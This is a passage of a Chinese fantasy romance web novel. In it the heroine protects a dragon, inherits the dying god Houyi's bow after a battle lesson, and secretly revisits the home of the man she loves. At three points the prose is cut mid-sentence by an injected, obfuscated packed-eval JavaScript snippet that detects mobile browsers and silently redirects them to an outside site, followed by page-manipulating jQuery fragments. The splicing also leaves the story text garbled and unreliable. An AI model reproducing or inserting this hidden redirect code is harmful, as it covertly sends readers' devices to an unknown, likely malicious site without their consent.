头顶一支要她命的灭魂灵箭高悬,耳边安静又吵嚷,无论结界内外,好像每一个声音都在催她去死,每一刻都像末日里的最后一刻,没一处愿给她活路。 越是死亡向她迫近的时刻,她总越是镇定平静,甚而有时会生出一种悠闲看戏的心态来,比如方才灵台乍响之前,她想的便是:看看那个总说要死的姑娘,她这一次是不是终于真的要死了,她到底什么时候才能真的死掉啊。 她也活得很辛苦。 为什么偏她就要活得这样辛苦。 她究竟在活什么呢。 死了算了。 但在那个算不得家的家里,又还有那么一个“人”,从盛夏到残冬,一日一问,始终都在等着她回家。 唉,还是再多活一活好了,今天先不死了吧。 璃音缓缓直起身子。 破军告诉她院中的梅花开了,她该拿什么话来回复它呢? 身边一人一龙对峙久了,护身结界承受了太多的内忧外患,这时便又有所松动。 眼见一柄钢叉自斜上袭来,璃音叩指挥出,退了几只小鬼,又补了几处小洞,耳听着结界外的喊杀惨呼之声始终不绝,想她这样努力维持着一方能叫他们安全容身的结界,这两人却一个接一个在她的结界里闹得要翻天。 少女撇一撇嘴。 突然就觉得有点烦。 便不满地抬起手来,两指探出,指尖对准那正冰火两重天的箭头,轻轻一掐,滋的一声,就把那所谓的灭魂之火给掐灭了。 后羿:“……?” 归岚:“……!” 璃音面无表情地在裙摆上蹭了两下手指,蹭去方才指腹沾染上的烬灰:“无不无聊,一个个的这么大能耐,有这劲头怎么不出去和那些鬼兵较量较量,在我的结界里面,就都给我安分着点,少在这添乱。” 说着反手一抓,握住那支冰里藏火的箭身,就塞去归岚的龙爪子里面,一副没收了好东西回家的口吻,道:“这箭镇魔止戾的功效挺好,你拿着,正好给你解解躁。” 出完箭后虚弱不堪的后羿神君:“……” 归岚前爪捏紧那一支被璃音强抢而来的驱魔灵箭,脑袋往后一蹭少女轻轻拍来的掌心,发出一声乖巧低吟。 璃音实在是个脸皮极薄的人,但她同时又是个万分护短的人。 而她一旦护起短来,就全不在乎什么脸皮了,应厚尽厚,直厚得可比城墙还厚,多尖刻的话都敢出口,多出格的事也都敢做。 归岚既是她的龙,那么她想教训他可以,但别人想要欺负他,就绝对不行。 哪怕是后羿神君也不行。 这时突觉灵台被破军的灵识敲了敲,应是迟迟未能等到她的答复,它无声地传了一个问号过来。 璃音看着归岚爪子里的冰箭,眼神烁动,回它:“运气好的话,就这两日吧。” 这次轮到破军陷入长久的静默了。 璃音便也无声地用一个问号敲了敲它。 半晌,它回:“好。” 仍是那一个字的回复。 一个字要想这么久吗,她说了能提前回去,也不见它有半点欢喜的表示,璃音撇嘴,嘴里不小心就往外哼了一声。 却不想这一声冷哼出现的时机太过惹人误解,身后当即便有一道沉厚的男声传来,难掩疲弱,但仍带着隐隐的威压:“小姑娘,你身负魔气,又饲养魔龙,我方才对你的那一箭,可是不该的么?” 璃音默默地想,是没什么不该的,只可惜撞上了她不想死的日子。 后羿神魂虚靡,眼神却锐利,他正与归岚血红的赤目对视:“还有他,你知道他是什么来历,又知道自己在做什么吗?” 璃音摸着归岚蹭来的一大颗龙脑袋,头也不回地道:“我知道,他是神龙一族的小神君,是猰貐神尊之子,也是未来要堕入魔道的大魔龙。” 说到这里,她才回头望向那位神君,一对眼珠红而清透,望过去时,竟给人一种这世上所有最纯净之人的眼珠,便该是这般红色的世情颠倒之感。 她道:“不过无论他是谁,今天在我的结界里,谁也别想对他动手。” “妖魔凶邪,人人得而诛之,他心魔已深,只今日便发作了三次,距神智尽失不过只有一步之遥,你不趁他如今气候未成,快刀除之,却这样一味纵容回护,留下无穷祸端,是何用意?”后羿执弓的手微紧,颇不赞同地皱起了眉,“难道非要待得他如他父亲一般,闹得苍生血染,生灵涂炭,你才肯让人动手么?” 璃音听他字字义正,句句辞严,心知他说得不错,甚至不久之前的自己也正是这般想的,但就在灭魂之箭指上她额心的那一刻,她也从魂链之中感应到了一些 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璃音眼睛望着那位神君,手上仍是轻摸着归岚的头,淡声道:“若不是他将你护在海底,用东海冰晶养着,你应该已死了快有二十年了,方才若不是我一时心软,叩问神君遗愿,你此时也醒不过来,他给了你二十年,我亦给了你这一刻清醒,你便饶我们两个多活些快活日子,便又如何?” 见男人被她这厚颜无耻的挟恩图报说得一怔,璃音敛眸一笑,续道:“我会和他缔结魂契,有我和神君这一支灭魂箭替他压着,他再发作不出来,这心魔我尚且发作得不多,若是发作了,那就是我和他的大限已至,您不如多给我们留几支灭魂之箭,我们先给冻上,到时便拿了来一起自我了断,那也便利。” 又偏头想了会,觉得没什么要补充的了,才向男人笑道:“这便是我和他今后的打算,神君听了可还有什么不放心的。” 这番话其实说得悲凉,但归岚听璃音说会与他缔结魂契,眼睛便亮了起来,全不在意那些生生死死的事,只兀自雀跃不已,欢欣地呜呜叫了一声。 话说到这个份上,璃音把两人的生死都安排得明明白白,确实没什么好不放心的了,岂料后羿神君此番遭逢大难,便是吃了轻信于人、识人不清的亏,不禁就变得格外多疑,听完这话,也只是冷冷地道:“小姑娘打得一手好拖延,待得百年,我身早死,那时又有谁来验证你话中真假,要我如何信你?” 璃音心里觉得你爱信不信,但嘴上自然不能这么说,略一思忖,忽地心念一动,伸手去腰间解下一枚玉坠,举出那个小小的玉人来,笑道:“神君信不过我,总能信得过他。” “……摇光?” “嗯。” 璃音五指微动,指尖凝出一团幽绿光晕,反手一甩,便把她与摇光的一段对话完完整整甩去了后羿的识海之中。 ——若有一天,我果真被邪魂侵噬,再无理智尚存,还请神君念在我们此刻相识的缘分一场……望神君即令破军,将我斩杀。 ——好,若真到那时,学生必不负所托。 “有摇光星君看顾着,神君大可以放心了吧?” 摇光在斩邪诛魔这方面果然信誉度极高,后羿一听他有此承诺,果真疑虑稍减,思忖良久,终是放下了手中赤弓,复又盯着璃音看了半晌,忽地举弓一拉弓弦,便耗尽最后一丝神力,又蓄了十余支灵箭出来,在归岚警惕的低吼声中,向少女大方道:“拿去。” 璃音呆了一呆。 她想过小七的名头好使,没想到竟这么好使! 不仅不杀她,还给她送红包来了。 当即让归岚冻了箭,塞了他满满一爪,笑得跟个丰收地里的小农民似的,一瞥眼,见了后羿手中那已然苏醒的神弓,眼珠一转,双手一搓,再一次将这个问题问了出来:“神君,您还有什么未竟的心愿么?” 刚才还一口一个“你”,这会儿就叫上“您”了,后羿掀开眼皮看了少女一眼,带着点训育小辈的意思,凛然道:“不过留给苍生一点安定,如何竟要思得回报。” 不愧是威名远扬的一代神君,觉悟如此之高,自认觉悟十分之低的璃音忙连连点头,表示受教。 但神君似乎没领会到她的真正意图,于是璃音又指一指他手里那弓,暗示得更明显了一些:“比如它忠心耿耿跟了您这么久,您走之前,不为它安置个归宿么?” 95. 第94章 醍醐灌顶 暗示到这种地步,再听不懂的,只能是聋子或是傻子了。 后羿不聋不傻,活了万年,什么样的人和风浪没见过,一听这话,还有什么不明白的,当即双目圆睁,从里面猛地射出两道迫人的精光来,径直射向眼前暗暗搓手眼馋的少女。 她一双清眸分明已被赤红染透,偏又依然水灵灵、亮晶晶的,没一点鬼魅妖异,也不沾半丝混沌浑浊,反更显出几分鬼马伶俐,她此刻显然心境平稳,神思清明,一双血琉璃般的眼睛轻灵眨动着,就鬼精鬼灵地来打他本命法宝的主意。 后羿握紧手中长弓,不答璃音提问,只又一次沉了眸盯视着她,半晌,忽然问出一句八竿子打不着的话,他问:“你不发作吗?” 少女闻言困惑地眨了眨眼,似乎一时没能理解这话中的意思,赤色的眼珠在这一刻显得纯净极了。 “就现在,不渴吗?”男人的目光牢牢将少女暗红的双眸攫住,眼底威压更甚。 听完这句,璃音也有点反应过来,神君是在询问她的渴血之症呢,这也没什么可隐瞒的,她答得诚实:“也发作的。” “不过现在没有在发作,所以不渴。” “你是说你现在,没有在发作?” 男人说罢揽袖一挥,将一面水镜在少女面前挥开,让她看清了自己现在睁着一双赤瞳的样子。 璃音冷不防望见镜子里的自己,不禁一怔,她抬手轻抚上眼尾,应该是维持护身结界消耗了过多灵力的缘故,灵力不够,自是魔气来凑,她本能地以魔气激荡体内灵力,以至归岚都已平静下去,她眼中赤红却兀自不褪,反而愈加深郁,已从鲜亮的血红,变作一片暗红之色了。 她算是明白神君为何会突然有此一问了。 她刚上昆仑山修习术法时,白纸一张,什么都不懂,不懂得分辨什么仙气魔气,更不知自己早被魔气侵体,只觉晚上闭起门来,按着那些术法古籍偷偷修炼的时候,比跟着巫真师姐的教导更能一通百通,一日千里。 魔气擅爆发,仙气主绵长,两股气息各有所长,那时的她不晓得仙魔之别,只当阴阳乾坤,人人体内都会有这样两股不同的气息纠缠。她脑中点子向来就多,不满于照搬照抄前人给定的修炼法门,便试着以魔气激荡仙气,以爆发点燃绵长,又以绵长延续爆发,直让灵力奔泄时有如海潮爆涌,一浪接着一浪地向外打出,把前劲后劲都给足,就这样,她慢慢地摸出了独属于自己的一套运灵之法。 待她知道体内那股子爆发之力便是魔气之时,早已像个左撇子改不回用右手吃饭写字一样,即便有意识在改,但本能就是本能,时不时就要冒出来,终究是再也无法彻底纠正回去了。 而当她以魔气激荡出灵力之时,双眼便不可抑制地会泛出红芒。 可是,这样便算发作么? 璃音看向结界外那些杀红了眼,扑嚎不止的阴鬼,怔然道:“可是魔气发作起来,应该是像它们那样吧。” 神智尽失,人性湮灭,头脑中只剩下砍杀饮血,暴戾残虐。 而她现在心绪平和,心情甚至称得上愉悦,可一点儿戾气也没有。 “你不妨问问你的小魔龙,魔气一旦翻将上来,主导灵脉,无人压制,可还能有全然清醒的时候。”后羿袍袖一挥,撤走水镜,双目仍牢牢锁在少女身上,“他的父亲也曾求我看顾,猰貐心性何其坚韧,可惜也没一次能在魔气翻上来时,心绪全然无波地渡过。” 归岚听到此处,低低呜咽了一声。 璃音安抚地拍一拍他的龙背,也渐渐听懂了后羿话中含义,她睁着赤红的双眸,缓声道:“神君,您的意思是说,我这样,其实是不正常的,对吗?” 狂暴难抑才是常态,即便压制得住,心头也总有戾气萦绕,躁动难消,绝不可能做到跟个没事人一样,心平气和。像她此时这样任由魔气贯走灵脉,却依然神思全然一派清明的,才反而不正常。 仔细想想,她的发作确实和归岚很不一样。 平日里动用灵力,用得狠了,翻出赤目,于她而言,便如呼吸一般,不过寻常,也不会激起任何情绪上的波动。 当然,她也不是没有躁意狂涌的时刻,一直以来,也就是那样的时刻,才被她自己定义为真正的“发作”。 但也不似归岚每隔个三五日便要不受控制地发作一次,今天更是一日里便发作了三次,且每次皆是情绪激动,神思迷乱,难以自抑,到最后更是整个身体都在抽搐痉挛不止。 她的这种发作其实极少,要么是受了极大刺激,要么是被神龙血脉勾动,被动着发作,且就目前来看,几乎都是后者。她在发作时也会暴戾渴血,但神思也都清明,知道自己在做什么,在这种状态下与人动手,也清楚地知道自己要出什么招,要杀哪些人,并不会觉得自己坠入了哪处深渊,只会陷入一种潜能爆发、胜券在握的兴奋。 事实上,除了前世虞家村那一次,她从未有过神智迷乱、失控暴走的时候。 后羿见少女怔怔地陷入沉思,显是头一次察觉到自己身上的那份特殊,他眼中精光更甚,忽地一扬手,将手中赤弓上抛,那弓迎风暴长,咻咻转动,弓身上赤色灵焰哔啵狂燃,不过转了两圈,已把这方小结界周围的阴鬼烧了个干干净净。 随后身子一缩,便就飞回了立身而起的主人手中。 “不正常吗?” 曾威震过一个时代的神君执弓在手,长身迎风而立,微一垂眸,就见龙背上的少女红着一双晶亮的眼睛,正仰着脖颈望他,眼中充满了对纯粹力量的钦慕。 弥留之际,得此一望,他亦不禁心中一动,随即狂放而笑:“果然还是个小姑娘,见过的东西太少了些。” 他自知时日无多,神魂正一步步踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379226|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入寂灭,与其昏沉等死,不若就耗尽在这神魔战场之上,也不枉这小姑娘唤醒自己一场,便燃了全身灵脉,换得片刻鼎盛,催燃手中巨弓,使之赤焰再次高涨,他凛然凌空,居高下望,高声问那少女:“小姑娘,你只知它镇魔止戾的功效奇绝,可曾想过这是为什么?” 见少女摇头,他自傲一笑,不紧不慢地提点道:“世人只道神魔相克,却不想相克便即相生,相生便即相克,神与魔,从来就不是世上最狠绝的相克。” 璃音悟性何其之高,这话直如一道巨雷劈下,醍醐灌顶,她猛地起身,几乎是直接跳了起来:“以仙制仙,以魔镇魔!” 错了,全错了,一直以来,她的思路都错了! 她前世那一次遭玉横反噬,心魔爆发,过后复盘,总归咎于魔气入体,误修了魔道,导致体内仙力压不住魔气,这才让其失控。岂知根本不是魔气修多了,而恰恰是修少了!正是魔气修得还不够到家,自己体内那一点魔性不够碾压性地震慑住玉横邪性,才导致了灵器噬主,混乱失控。 她不自觉看向那把神弓:“难道它……” “不错。”男人满意地眯起了那双不怒而威的眼睛,像是在夸那少女,又像是在夸赞自己的眼光,“它本是长在魔域里的一截无烬残木。” “它也没你想的那么忠心耿耿。” 男人忽地冷哼一声,屈指在那弓脊上一弹:“在你弹上它弓身取笑的那一刻,这没良心的东西就醒了。” 后羿今日这一醒,固然有璃音在他灵台上那一叩的功劳,但更多的,还是因为在昏昏沉沉间,竟感应到了本命法宝的“叛主”。他这还没死透,这玩意竟就兴致勃勃陪着一个从未谋面的少女打起架来,玩得别提有多起劲,这样的侮辱,简直比给他带了绿帽还难忍,便说他是被这弓硬生生给气醒的也不为过。 他一睁眼,第一支灭魂之箭没给那正在发作的邪龙,反而直接对上了那少女,其实根本不合常理,也果然引来了少女不满的一声轻哼,当时他虽嘴里驳得凛然,但对少女凝出那一箭时到底带了多少恼羞成怒的成分在里面,便只有他自己知道了。 但此刻,他望着少女那双红得剔透的血眸,想起自己耗尽毕生心力栽培出来的那一个欺师灭祖的孽徒,此生师徒传承未竟,心中终究难甘,而就在自己气数将尽之时,命运也好,缘分也罢,这个魔而不妖的小姑娘出现在了他的眼前。 如此刚好,如此契合。 若要为落日安置一个归宿,若他终得上天怜悯,能再续一份传承…… 男人眼中燃起炽火,像把生命也一起燃烧了进去,他一弓挥碎结界,浮弓于掌,无数阴鬼立时扑喊而上。 巨龙游动,他与少女立于龙背之上,另一掌自下疾出,以神力隔空托起少女双臂,打断她极快反应下的结印动作,大声喝道:“聚气凝神,蓄力在肩!” 96. 第95章 璃音结界遭毁,正不知那位神君突然发的什么疯,听见他这一声喝,微怔一瞬,当即心头狂跳,立刻明白了他的意思。 她虽然一直在想办法将落日神弓带走,但从未想过这弓有一天真能为自己所用。 她适才对着后羿神君厚下脸皮,旁敲侧击,也是因为神弓突然苏醒,这完全不在她的计划之中,按她什么通灵法器都没能带来这个时空的情况看,一把灵魄苏醒了的神弓,她估摸也是带不走的。 所以她才要为它事先求好一个归宿。 就安置在某一个牢靠的地方,让她能在九百年后,至少知道要去哪里挖出来取用。 而最开始,那个归宿,或者说这泼天的好处,她是想为小七求的。 这东西保管在他手里,她才最安心。 又何止是神弓,就连她自己,不也早就保管在他那里了么。得了他的承诺,她才能在这偷来的时光里,一日又一日心安理得地活了下来,不知不觉,竟就活到了现在,活了这么久,活到这样天大的机缘,就猝不及防地落在了自己头上。 璃音脑子里尽管还在拉扯,觉得这样不好,不是最优解,觉得自己不配,但身体早已抢先一步做出了最诚实的反应,自发按着男人的话,屏气凝神,开始往肩上聚力。 这可是落日神弓。 她或许不能要,不敢要,但怎么可能真的不想要? “落日。” 男人一声轻喝,赤红色巨弓应声腾起,利弦嗡鸣声中,一翻一转,便已凌空竖在少女身前。 “小姑娘,听好了,如我之前所说,仙魔相生亦相克,欲要镇魔,则以仙气催魔气,以魔镇魔,欲要克仙,则以魔气生仙气,以仙克仙。” 伴随着男人利落的话音,璃音只觉自己的后背、肩骨、手肘、腕间都被一股巨力托住,一步步引导着她挽起长弓,五指扣弦,然后猛地向后一拉—— 她飞快领悟着男人话中奥义,以仙气激荡出体内魔气,眼中本已有些暗下的赤红登时跟着弓身上的红芒一齐大涨,随着弓弦后拉,一支由魂力聚缠而成的长箭自她指尖迅速凝出,箭身幽绿,箭头却是晶红,被少女修长有力的指骨搭扣于弓弦之上,直至长弦拉满,箭头上噌的一下,跳跃着燃起了一团赤色灵焰。 她兴奋到体内的每一处经脉都在战栗,然而越是兴奋,她挽弓的手就越稳。 男人以神力隔空掌住她双肩,让她将箭尖对准迎面扑来的一只狰狞恶鬼,沉声:“射它。” 绷紧到发白的手指一松,载满魂力与灭魂赤焰的雷霆一箭嗖的一声,离弦飞出,凛凛破空,向那阴鬼急射而去。 箭去得太快,那正撞上璃音试弓的倒霉阴鬼连一声惨叫都没来得及留下,就在嗤的一声轻响中,化作一团轻飘飘、黑黢黢的雾气,四散在胀满血腥味的空气之中了。 而一只阴鬼怎么够那箭上的噬魂之火吃得饱,箭头窜动的灵焰如有嗅觉,寻着空中那叫它越燃越炽的魔气狂奔飞袭,势挟劲风,呼啸来去。 不远处一位身披银白甲胄的仙君浑身溅满血点,正奋力挥剑,与大群阴鬼砍杀,然他剑法青涩,显是个被强征来的新兵蛋子,不多时便被几个阴鬼分别拽住了胳膊和小腿,只需上下一扯,他纤薄的身子立时便要被撕作两半。 一只木梭疾晃而至,撞飞缠在男子手臂上的阴鬼,身后同时响起了女子的呵斥之声:“商止神君叮嘱了多少次,对付这些东西的时候不要落单,你这小仙怎么听不懂话!” 但这位仙子也无暇多作斥责,她还未及带着男子撤离,方才被她打散的阴鬼们便又飞速在他们周身聚拢,将落单的两人围了个密不透风,男子的四肢很快就再一次被阴兵揪住撕扯。 便在这时,忽听得空中一连串嗤嗤的闷响,一支轻灵长箭自他身侧疾转而过,因为速度太快,只能看清一道红芒绕着圈子一闪,眨眼之间,就把他方圆丈许里的阴鬼都射了个一干二净。 那仙君怔愣抬头,就见头顶一条巨型青龙游身飞过,龙身上一个青衣少女挽弓而立,一低头,与他视线相接,似也怔忡一瞬,随即眉眼一弯,心情颇好地往他和边上的女仙身上都扔下一个防身护罩,冲他们喊道:“锦云仙子,羑和仙君,注意安全呀!” 九百年前稚嫩的羑和愣愣看着周身流转起来的护身符阵,战场纷乱,他其实根本没看清那少女长得什么模样,但脑海中一时竟全是她随手叩印时意气风发的笑。 他望向身边同样仰头一脸神往的女仙,猛地捏紧手中长剑,一个念头就这样在他心里扎下了根:若此战得胜,他要考入昆仑,要改修阵法魂术,要逃离文昌府那个让他日日牙酸、夜夜难眠的鬼地方! 璃音射出这威力绝伦的一箭,又随手救了两个熟人,正春风得意,就听耳后男人一声威斥:“得意什么!魂焰就烧出来那么一点,准头乱七八糟,速度也不行,就这点水平,要配得上落日,你还差得远。” 话中虽全是训诫,语气中却难掩师长遇到好苗子时那种隐隐的振奋与纵宠。 换作其他人,光是仙魔互生之道可能就要在体内纠结个数十年,修炼百年也未必能凝出第一箭。 璃音知道神君是在提醒自己要戒骄戒躁,才更有利于之后的修行,但她心头其实并无浮躁可戒,而她的骄傲戒了这么多年,早已知道是根本戒不了的了。 当下秀眉微挑,带着一脸“你看,你的眼光没错,我果然很聪明吧”的张扬神色回过头,对上身后男人威严的眼睛之后也丝毫不作收敛,说出的话更是放肆到不行:“神君,还有没有更厉害的?” 后羿看她这副神情,纵声一笑,心想小姑娘到底是小姑娘,还能保有着这般纯真跃动的少年心性,当即长臂一展,执弓回手,五指屈伸,便拉了个满弦。 一支流光溢彩的绚烂长箭冒着滋滋的声响自男人指尖凝出。 那箭身巨大,浑身游动闪烁着七彩炫目的灵光,简直就像是由天边摘下的彩虹编织而成的,美得那样如梦似幻,瑰丽夺目。 璃音看得眼珠子都快转不动了。 男人看小姑娘一脸沉迷,想自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403348|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己强燃灵脉暂回鼎盛,所剩性命不过就在这须臾顷刻,如今手中这曾叫多少邪魔闻风丧胆、堪称能威震天地的一箭,便也该是他留在世间的最后一箭了。 想到此处,神思便不禁愈加狂放起来,脸上也不自觉现出自负的神情,他睁目凝神,张弓搭箭,在那个正好在他生命的最后一刻,被命运送来自己跟前的小姑娘身后,睥睨而立,燃尽神力,一字一句,迎风纵声:“看好了,落焰飞天!” 他忽地举弓望天,指骨一松,炫光巨箭射出,嗖然破空,直冲向看也看不清的高处,随后只听砰的一声巨响,霎时一箭化万箭,如有一捧巨大的烟花在整个神魔战场的上方炸开,无尽魂焰如焰火散落,落在那无穷阴鬼的身上,一时间万鬼呼嚎,但都嚎不过一息,尾音尚且飘散在空中,身子已被赤焰灼尽,魂飞魄散了。 而在这丧魂夺魄的惨呼声中,在璃音眼前所展现出来的,却是梦幻般美丽的光华万丈,焰火燃天。 她何曾见识过这样强大而炫目的力量,只被这一箭美得目眩神迷,一时竟看得呆了。 待回过神来,想到自己若能潜心修习,或有一日也能凝出如此震撼威风的一箭,不禁全身经脉一热,兴奋回头,正要再多向后羿请教两句,却见男人早已耗干了最后一丝力气,此刻已是气息奄奄,半阖着眼睛,委顿在了龙背之上。 “神君!” 璃音忙俯下身来,探他神识,知他已到弥留,只兀自还强撑着一口气,不肯闭眼,但也撑不过几息的时间了。 男人手中赤弓长弦抖颤,弦音嗡嗡,最知晓主人执念的本命法器在一片哀戚中,向少女的灵台之中传去了一个无声的请求。 璃音灵台一响,心下震动,看着男人那张饱经风霜,但即便是在此刻,也依然威正端严的脸,张了张唇,轻声唤了他一声:“师父……” 男人猛地睁眼,这一次却终于没再把那少女吓个一跳了,他似乎想开口说些什么,但却是连嘴唇的一次简单张合都已做不到,早已没了说话的力气。 可无需多言,本命法宝自能感应到他所思所想的一切,然后把那些东西传递给他想传递的人。 “彼此照看,不离不弃,我知道了。”璃音从他手中接过长弓,眼眶微微热了,“我和它,都会尽量不让您失望的。” 漫天焰火燃尽,随着少女最后一个字的尾音落下,这位威风八面了一辈子的神君,终于在这方因他一箭便暂时落幕的战场之上,满足地阖上了他的双眼。 璃音手持长弓,静坐在龙背之上,周围鬼哭狼嚎之声散去,仙兵神将散去,什么都在悄然散去,就连浓厚的血腥味也在一点点地散去,只有一缕风还在不停吹着她鬓边掉出的一绺碎发。 她默然许久,才轻轻将发丝拨去耳后,有些怅然地伏去了阔大的龙背之上。 “归岚,我们去东海葬了神君,然后……” 远在王都武宁侯府中的一柄长剑上蓝白色冷光疾闪,第一次收到了少女主动传来的音讯。 “雪停着吗?今日归家。” 97. 第96章 偷偷看他一眼 时隔三年,璃音再一次站在了武宁侯府的院墙之外。 因白日里下过一场雪,熟悉的院墙屋瓦上都还覆着薄薄的一点白霜。 许是第一次亲吻他时下了雪的缘故,每到有雪的日子,总比平日里要格外想他一些。 璃音到的时候天色已不算早了,到了后就跟座石雕似的,不进去,也不离开,就一动不动地在那里站着,站了不知多久,直到某一次呼吸时,蓦地看见自己呼出的气息在一片漆黑里清晰地现作一团白白的雾气,才惊觉此时夜已完全暗了下来。 归岚没在她身边,而是去为她在附近物色可以落脚的山野荒林了,这样的地方在王都应该不大好找,但她确实需要,她需要一个能安安稳稳启动时空法阵,送自己回去九百年后的地方。 毕竟在她离开这个时空的时候,总不能就在凡人堆里开启那种血糊糊的阵法的,届时还要将破军借走用上一用,她也不放心破军离开慕璟明身边太远,所以她找的地方也不能离慕璟明太远。 不过这也不是什么今晚就急着要寻到的地方,但却是一个能支开归岚,让她一个人在此处站一站的好借口。 她与归岚缔结了魂契,有了世间最牢固的承诺与羁绊,天地法则约束着她绝不能再将他遗弃,神龙一族的小神君终于不再终日惶惶,患得患失,璃音支他离开,他也只是甩一甩尾巴,低吟一声,便乖乖地去了。 璃音站在慕璟明的院墙之外,不禁在想,这样强大的能让双方此生守候、永无二心的契约,若是能在爱情里也有便好了。 可转念便又想到:爱情的契约怎么会没有呢,那一纸婚书不就是么。 慕小侯爷早已和人缔结了这样的契约。 只是那个人不是她罢了。 而她正偷偷摸摸隐身在一个有妇之夫的墙外,不知廉耻地肖想着别人的丈夫。 真是世上最恶心的坏女人。 璃音一边在心里唾骂自己,一边却又想,她无意破坏什么,就偷偷地,不告诉他,也不让他瞧见,就进去偷偷看他一眼,这一眼除了她自己,谁也不会知道,这样的话,虽然有些恶心,像个偷窥狂,但是不是还算不得太过分? 啊,不行不行,不行的! 璃音刚要抬脚,就又被另一个念头钉住了:现在天已很晚了,这个时辰,正是人家蜜里调油的小夫妻关起房门,讲些枕边夜话,过夫妻生活的好时候,她贸然进去,万一撞见,岂不尴尬? 她并不是个多么优柔寡断的人,但这辈子就在两件事上总也委决不下:一是“明天”还要不要活下去,二就是现在究竟要不要进去见一见已和别人成了亲的心上人。 就为了这么件略显可笑的龌龊小事,璃音心里各种念头打了一架又一架,以至脚下始终丝毫未动,就一直在侯府的院墙外这么踌踌躇躇地站着,从黄昏一直站进了寒夜,并且暂时还打算继续站下去。 直到破军轻轻叩响了她的灵台:“不进来坐坐?” 一句话把璃音从各种荒诞的情绪里拉了出来。 明明来的时候心里还很清明,知道自己只是来见破军的,怎么一到了这里,就贪心起来,纠结起那些矫情可笑的东西来了。 这么一想,她反而轻松下来,有了破军这一句,她便也算收到了邀请,尽管不是来自那小院的主人的,但好在她也不是去见他的,那么她悄悄进去,只是和破军聊一聊,把阵法的事情谈妥,便也无可厚非了。 至于和破军聊天其实根本无需面谈这种常识,当然是被此刻的她摈除在大脑之外的。 璃音身形一晃,便熟门熟路地闪身去了慕小侯爷院中的那棵蜡梅树下。 梅花果然开了,一个个红点漂亮地缀在枝头,但她根本分不出眼来看。 慕璟明就倚着一根廊柱闲闲立着,他仰着头,松松环着两只胳膊,一条长腿微屈,姿态娴散,竟是很有兴致地在廊下一个人观星赏月。 想好了不看他的,又想好了万一撞见,只偷偷瞧他一眼的,可视线一旦落在了他的身上,便怎么挪也挪不开了。 慕璟明今天穿得格外漂亮。 衣袍是璃音从未见他穿过的玄色,男人玄衣银冠,长身懒散地立在白皑皑的一片雪地里面,直把院中那株蜡梅都比了下去,若他身上的颜色再艳一些,简直就是一副新郎官的派头。 勾人极了。 再想自己下了战场,又从东海马不停蹄赶来王都,弄得一副蓬头垢面、风尘仆仆的模样,璃音默默抬手,压了压额前被冷风吹立起来的一撮呆毛。 随即两边的唇线就不由得往下耷了耷。 他今日这一身,从头到脚,一看就是特意打扮过的。 人为悦己者容,可见这个男人婚后是被爱情滋润成了什么样,竟比之前还要招摇了! 可他之前,都从来没有为她刻意打扮过的。 璃音轻轻哼了一声,终于舍得不再看他,悄然闪身去到了之前自己住过的那间小屋里面。 她来到这个时空的时候两手空空,所以屋内本身也没太多她的东西,但她进来看到几乎被搬空了的房间时,还是不由愣了一愣。 她曾坐过的凳子,照过的妆镜,睡过的被褥,还有楚夫人送她的那些衣裙、首饰、水粉胭脂……全都不见了。 屋内空空如也。 她在这座小院里曾生活过的那些痕迹,已被彻底抹除干净,什么也没留下,就像她从没来过一般。 璃音怔然。 好像心里什么地方被人陡然挖去,也跟着空了一块。 她的手下意识就往腰间摸了过去。 还好,它还在的,至少玉郎君还在。 至于这里,再没什么她需要看的了。 她该走了。 她解下腰间那枚玉坠,沉默着将它攥入手心,低头垂目,静静站了一会,才抬起头来,最后一次环视过这间空荡荡的小屋,轻声:“小七,我要走了,再见。” 便要抬步离开。 谁知就在这时,半开的窗台上突然爆发出一声无比洪亮的尖锐怪叫:“小七!我要走了!再见!小七!我要走了!再见!” 这平地一声吼来得太过突然,惊得璃音手一抖,把玉郎君都掉在了地上。 但这个声音是如此熟悉,璃音默然扭头一看,就见一只黄脸红腮黑豆眼的鹦鹉,正张合着它那张短钩般的小嘴,站在窗沿上使劲叫唤着,而且每喊一个字,那灵活的小脖子便跟着往她的方向点一下,挑衅似的,欠揍得不行。 果然又是这个没和她对付过一次的小冤家! 这样满含少女心事,对着另一个人的丈夫,偷偷摸摸,见不得光的一句告别,就被这家伙这么高亢嘹亮地一遍遍喊了出去,璃音一下子涨红了脸,忙现了身形飞奔过去,一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可三年过去,她的身形相貌无一处变化,慕璟明却好像又偷偷地长高了,他从少年长成了男人,此时男人伸臂一扬,那枚玉坠就被他高高举起在了空中,任璃音怎么伸手踮脚也够不到。 “不是为了这个,那你回来做什么的。” 璃音听慕璟明这样问,突然就停住不动了。 她静静地抬眸望他。 她回来做什么的? 就算总拿破军当借口,但她自己怎么不知道,她就是回来见他的。 若不是想要见他,外面尚未及开春,离宴饮图上的日子还早,她又何必在神弓到手的第一天,在下了战场,葬了后羿神君,整个人疲得都没个人样的时候,就一刻不停,急急忙忙赶着过来。 “我……” “算了。” 